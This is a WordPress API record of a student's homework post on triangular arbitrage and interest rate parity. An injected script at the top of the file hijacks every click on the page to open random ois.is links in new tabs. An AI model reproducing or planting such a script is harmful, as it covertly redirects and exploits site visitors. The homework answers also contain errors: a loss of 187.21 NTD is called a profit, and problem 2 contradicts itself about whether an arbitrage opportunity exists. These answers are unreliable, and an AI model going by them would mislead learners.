<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":959,"date":"2023-04-18T13:13:36","date_gmt":"2023-04-18T05:13:36","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154207\/?p=959"},"modified":"2023-04-27T00:56:18","modified_gmt":"2023-04-26T16:56:18","slug":"%e5%91%a8%e5%ad%90%e7%90%aa%e5%9c%8b%e9%9a%9b%e8%b2%a1%e7%ae%a1%e7%ac%ac%e4%ba%94%e6%ac%a1%e4%bd%9c%e6%a5%ad","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154207\/?p=959","title":{"rendered":"\u5468\u5b50\u742a\u570b\u969b\u8ca1\u7ba1\u7b2c\u4e94\u6b21\u4f5c\u696d"},"content":{"rendered":"<p>1.<\/p>\n<p>(1) NTD to GBP:<\/p>\n<ul>\n<li>We will buy GBP with NTD at the ask price of 50.66 NTD\/GBP.<\/li>\n<li>The maximum amount of GBP we can buy is 10,000 \/ 50.66 = 197.19 GBP.<\/li>\n<\/ul>\n<p>(2)GBP to CNY:<\/p>\n<ul>\n<li>We will sell the GBP we just bought for CNY at the bid price of 9.7195 CNY\/GBP.<\/li>\n<li>The total amount of CNY we will receive is 197.19 * 9.7195 = 1,915.28 CNY.<\/li>\n<\/ul>\n<p>(3)CNY to NTD:<\/p>\n<ul>\n<li>We will sell the CNY we just bought for NTD at the bid price of 5.125 NTD\/CNY.<\/li>\n<li>The total amount of NTD we will receive is 1,915.28 * 5.125 = 9,812.79 NTD.<\/li>\n<\/ul>\n<div>\n<div>\n<p><span lang=\"EN-US\">The starting NTD amount was 10,000 NTD, and the final NTD amount is 9,812.79 NTD, so we made a profit of 187.21 NTD.<\/span><\/p>\n<p><span lang=\"EN-US\">Therefore, by implementing the triangular arbitrage strategy, the profit made would be 187.21 NTD.<\/span><\/p>\n<\/div>\n<\/div>\n<p>&nbsp;<\/p>\n<p>2.<\/p>\n<div>\n<div>\n<p><span lang=\"EN-US\">To determine if there is an arbitrage opportunity, we can use the cross exchange rate between EUR\/GBP to check if it matches the direct exchange rate. The cross exchange rate should be the exchange rate obtained from the direct exchange rates of the two currencies.<\/span><\/p>\n<p><span lang=\"EN-US\">In this case, the cross exchange rate can be calculated as follows:<\/span><\/p>\n<p><span lang=\"EN-US\">EUR\/GBP = EUR\/USD \u00f7 GBP\/USD = 1.2 \u00f7 1.4 = 0.8571<\/span><\/p>\n<p><span lang=\"EN-US\">However, the direct exchange rate for EUR\/GBP is 0.8, which is lower than the calculated cross exchange rate of 0.8571. This indicates that there is an arbitrage opportunity.<\/span><\/p>\n<p><span lang=\"EN-US\">Here&#8217;s how we can perform triangular arbitrage:<\/span><\/p>\n<ol>\n<li>Buy euros with dollars: We can buy euros with USD at the exchange rate of EUR\/USD = 1.2. If we invest $1,000, we will get 1,000\/1.2 = 833.33 euros.<\/li>\n<li>Buy pounds with euros: We can buy pounds with euros at the exchange rate of EUR\/GBP = 0.8. We can get 833.33 x 0.8 = 666.67 pounds.<\/li>\n<li>Buy dollars with pounds: We can buy dollars with pounds at the exchange rate of GBP\/USD = 1.4. We can get 666.67 x 1.4 = 933.33 dollars.<\/li>\n<\/ol>\n<p>At the end of this triangular arbitrage, we started with $1,000 and ended up with $933.33. This means that we made a profit of $933.33 &#8211; $1,000 = -$66.67.<\/p>\n<p>Therefore, there is no arbitrage opportunity in this case, and trying to execute the arbitrage will result in a loss of $66.67.<\/p>\n<\/div>\n<\/div>\n<p>&nbsp;<\/p>\n<p>3.<\/p>\n<p>(1)\u5229\u7387\u5e73\u50f9\u689d\u4ef6\u6210\u7acb\u8207\u5426\u7684\u5224\u65b7\u9700\u8981\u6bd4\u8f03\u672a\u4f86\u5229\u7387\u7684\u671f\u671b\u503c\uff0c\u800c\u4e0d\u662f\u7576\u524d\u7684\u5229\u7387\u6c34\u5e73\u3002\u6839\u64da\u5229\u7387\u5e73\u50f9\u7406\u8ad6\uff0c\u82e5\u5169\u570b\u8ca8\u5e63\u7684\u5229\u7387\u5e73\u50f9\u689d\u4ef6\u4e0d\u6210\u7acb\uff0c\u5247\u53ef\u4ee5\u901a\u904e\u5916\u532f\u5e02\u5834\u9032\u884c\u5957\u5229\u64cd\u4f5c\u3002\u5229\u7387\u5e73\u50f9\u689d\u4ef6\u662f\u6307\u5169\u500b\u570b\u5bb6\u8ca8\u5e63\u7684\u5229\u7387\u4e4b\u9593\u7684\u5dee\u7570\u61c9\u8a72\u7b49\u65bc\u9019\u5169\u500b\u570b\u5bb6\u8ca8\u5e63\u4e4b\u9593\u7684\u9060\u671f\u532f\u7387\u8207\u5373\u671f\u532f\u7387\u4e4b\u9593\u7684\u5dee\u7570\u3002<br \/>\n\u5728\u9019\u500b\u4f8b\u5b50\u4e2d\uff0c\u672a\u4f86\u5229\u7387\u671f\u671b\u7684\u8a08\u7b97\u5982\u4e0b\uff1a<\/p>\n<div>\u2022 \u53f0\u7063\u7684\u672a\u4f86\u5229\u7387\uff1a5%<\/div>\n<div>\u2022 \u7f8e\u570b\u7684\u672a\u4f86\u5229\u7387\uff1a3%<\/div>\n<div>\u2022 \u53f0\u5e63\u7684\u671f\u671b\u9060\u671f\u532f\u7387\uff1a30.3 NT\/US<\/div>\n<div>\u2022 \u5373\u671f\u532f\u7387\uff1a30.0 NT\/US<\/div>\n<div>\n<div>\n<div>\n<p>\u6839\u64da\u5229\u7387\u5e73\u50f9\u689d\u4ef6\uff0c\u9810\u671f\u672a\u4f86\u7684\u9060\u671f\u532f\u7387\u61c9\u8a72\u7b49\u65bc\u5373\u671f\u532f\u7387\u4e58\u4ee5\uff081+\u53f0\u7063\u5229\u7387\uff09\u9664\u4ee5\uff081+\u7f8e\u570b\u5229\u7387\uff09\u7684\u6bd4\u7387\uff0c\u5373\uff1a<br \/>\n30.5 NT\/US = 30.0 NT\/US x (1+5%)\/(1+3%)<br \/>\n\u7136\u800c\uff0c\u9810\u671f\u672a\u4f86\u7684\u9060\u671f\u532f\u7387\u662f30.3 NT\/US\uff0c\u800c\u4e0d\u662f30.5 NT\/US\u3002\u56e0\u6b64\uff0c\u5229\u7387\u5e73\u50f9\u689d\u4ef6\u4e0d\u6210\u7acb\u3002<\/p>\n<p>(2) \u672a\u62cb\u88dc\u7684\u5229\u7387\u5e73\u50f9\u7406\u8ad6\u662f\u6307\uff0c\u8ca8\u5e63\u7684\u5229\u7387\u6c34\u5e73\u61c9\u8a72\u53cd\u6620\u51fa\u8a72\u8ca8\u5e63\u7684\u9810\u671f\u5347\u503c\u6216\u8cb6\u503c\u8da8\u52e2\u3002\u5728\u9019\u7a2e\u60c5\u6cc1\u4e0b\uff0c\u7531\u65bc\u7f8e\u570b\u7684\u5229\u7387\u4f4e\u65bc\u53f0\u7063\u7684\u5229\u7387\uff0c\u56e0\u6b64\u672a\u62cb\u88dc\u7684\u5229\u7387\u5e73\u50f9\u7406\u8ad6\u8868\u660e\uff0c\u7f8e\u5143\u7684\u9810\u671f\u8cb6\u503c\u901f\u5ea6\u5c07\u9ad8\u65bc\u65b0\u53f0\u5e63\u7684\u9810\u671f\u8cb6\u503c\u901f\u5ea6\uff0c\u56e0\u6b64\u9078\u7528\u65b0\u53f0\u5e63\u5b58\u6b3e\u66f4\u6709\u5229\u3002<br \/>\n\u56e0\u6b64\uff0c\u4f9d\u64da\u672a\u62cb\u88dc\u7684\u5229\u7387\u5e73\u50f9\u7406\u8ad6\uff0c\u61c9\u8a72\u8981\u9078\u64c7\u65b0\u53f0\u5e63\u5b58\u6b3e\u3002<\/p>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>1. (1) NTD to GBP: We will buy GBP with <\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts\/959"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=959"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts\/959\/revisions"}],"predecessor-version":[{"id":964,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts\/959\/revisions\/964"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=959"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=959"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=959"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}